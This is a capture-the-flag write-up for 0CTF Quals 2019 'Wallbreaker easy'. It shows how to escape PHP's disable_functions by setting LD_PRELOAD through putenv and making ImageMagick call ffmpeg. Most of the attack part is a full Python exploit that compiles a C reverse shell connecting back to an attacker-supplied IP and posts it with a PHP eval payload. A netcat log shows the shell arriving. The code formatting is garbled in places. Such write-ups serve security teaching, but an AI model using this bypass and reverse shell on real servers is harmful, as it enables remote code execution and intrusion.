0CTF Quals 2019: "Wallbreaker easy" writeup

When connecting to the given URL, we are provided with the following output:

Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: /var/www/html:/tmp/b6b320612bead18b3b67932f139fed1f
Hint: eval($_POST["backdoor"]);

phpinfo() reveals that the following functions are disabled:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail

Note that putenv is not disabled.

Additionally we are “sandboxed” in a writeable basedir: open_basedir = /var/www/html:/tmp/d72b5811ef88951968907385db4599ac

As the challenge hints that the intented solution should be based on php-imagick we also have a look at its config:

imagick module version 	3.4.3RC2 
...
ImageMagick number of supported formats:  	220 

ImageMagick supported formats 	3FR, AAI, AI, ART, ARW, AVI, AVS, BGR, BGRA, BGRO, BIE, BMP, BMP2, BMP3, BRF, CAL, CALS, CANVAS, CAPTION, CIN, CIP, CLIP, CMYK, CMYKA, CR2, CRW, CUR, CUT, DATA, DCM, DCR, DCX, DDS, DFONT, DNG, DPX, DXT1, DXT5, EPDF, EPI, EPS, EPS2, EPS3, EPSF, EPSI, EPT, EPT2, EPT3, ERF, FAX, FILE, FITS, FRACTAL, FTP, FTS, G3, G4, GIF, GIF87, GRADIENT, GRAY, GROUP4, H, HALD, HDR, HISTOGRAM, HRZ, HTM, HTML, HTTP, HTTPS, ICB, ICO, ICON, IIQ, INFO, INLINE, IPL, ISOBRL, ISOBRL6, JBG, JBIG, JNG, JNX, JPE, JPEG, JPG, JPS, JSON, K25, KDC, LABEL, M2V, M4V, MAC, MAGICK, MAP, MASK, MAT, MATTE, MEF, MIFF, MKV, MNG, MONO, MOV, MP4, MPC, MPEG, MPG, MRW, MSL, MTV, MVG, NEF, NRW, NULL, ORF, OTB, OTF, PAL, PALM, PAM, PATTERN, PBM, PCD, PCDS, PCL, PCT, PCX, PDB, PDF, PDFA, PEF, PES, PFA, PFB, PFM, PGM, PICON, PICT, PIX, PJPEG, PLASMA, PNG, PNG00, PNG24, PNG32, PNG48, PNG64, PNG8, PNM, PPM, PREVIEW, PS, PS2, PS3, PSB, PSD, PTIF, PWP, RADIAL-GRADIENT, RAF, RAS, RAW, RGB, RGBA, RGBO, RGF, RLA, RLE, RMF, RW2, SCR, SCT, SFW, SGI, SHTML, SIX, SIXEL, SPARSE-COLOR, SR2, SRF, STEGANO, SUN, TEXT, TGA, THUMBNAIL, TIFF, TIFF64, TILE, TIM, TTC, TTF, TXT, UBRL, UBRL6, UIL, UYVY, VDA, VICAR, VID, VIFF, VIPS, VST, WBMP, WMV, WPG, X, X3F, XBM, XC, XCF, XPM, XPS, XV, XWD, YCbCr, YCbCrA, YUV 
````

It's visible that the SVG format is not available and that under Ubuntu-18.04 many ghostscript formats
are disabled in ``/etc/ImageMagick-6/policy.xml``:

xml



We decided to poke around with file formats ImageMagick can read but for sure implements by calling external delegates (via execve).

File files seems to be a promising target:

$ strace -fi -e execve convert test.mpeg out.png [00007f6514f18647] execve(“/usr/bin/convert”, [“convert”, “test.mpeg”, “out.png”], [/* 25 vars /]) = 0 strace: Process 4350 attached [pid 4350] [00007f6e5aaf8647] execve(“/bin/sh”, [“sh”, “-c”, “‘ffmpeg’ -nostdin -v -1 -i ‘/tmp”…], [/ 25 vars /]) = 0 strace: Process 4351 attached [pid 4351] [00007fc8f4b18647] execve(“/usr/bin/ffmpeg”, [“ffmpeg”, “-nostdin”, “-v”, “-1”, “-i”, “/tmp/magick-4349DGSUOJxzoklJ”, “-vframes”, “2147483647”, “-vcodec”, “pam”, “-an”, “-f”, “rawvideo”, “-y”, “/tmp/magick-4349oLhLxfW7jzlm.pam”], [/ 25 vars */]) = 0 …


So the final exploit plan is to `LD_PRELOAD` a so-file via `putenv` to get code execution.


Full exploit:

python #!/usr/bin/env python3

usage ./pwn.py IP

import requests, base64, os, sys

payload = r”“” // connect back shell #include #include #include #include #include

#define REMOTE_ADDR “IP“ #define REMOTE_PORT 55555

attribute ((constructor)) void preloadme (void) { puts(“started\n”); struct sockaddr_in sa; int s;

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);

s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);

execve("/bin/sh", 0, 0);

} “”“.replace(’IP’, sys.argv[1])

with open(‘/tmp/pwn.c’, ‘w’) as f: f.write(payload)

print(’[+] compiling payload’) assert os.system(‘gcc -Wall -fPIC -shared -o /tmp/pwn.so /tmp/pwn.c’) == 0

print(’[+] triggering exploit’) r = requests.post(‘http://111.186.63.208:31340', data={ ‘file’: base64.b64encode(b’\x00\x00\x00\x01\xb3’).decode(), # MPEG sequence ‘pwn’: base64.b64encode(open(‘/tmp/pwn.so’, ‘rb’).read()).decode(), ‘backdoor’ : “”” error_reporting(E_ALL); ini_set(‘display_errors’, 1);

$b = explode(’:‘, ini_get(‘open_basedir’))[1]; //get writable path var_dump($b);

file_put_contents($b.‘/out.mpeg’, base64_decode($_POST[‘file’])); file_put_contents($b.“/pwn.so”, base64_decode($_POST[‘pwn’])); var_dump(putenv(“LD_PRELOAD=“.$b.”/pwn.so”));

$im = new imagick(); $im->readImage($b.‘/out.mpeg’); $im->setImageFormat(“png”); $im->writeImage($b.“/foo.png”);

echo 1336+1; “”” }) print(r.text)


$ nc -l -v -p 55555 Listening on 0.0.0.0 Connection from 111.186.63.208 42350 received! /readflag flag{PUTENVANDIMAGICKAREGOODFRIENDS} ```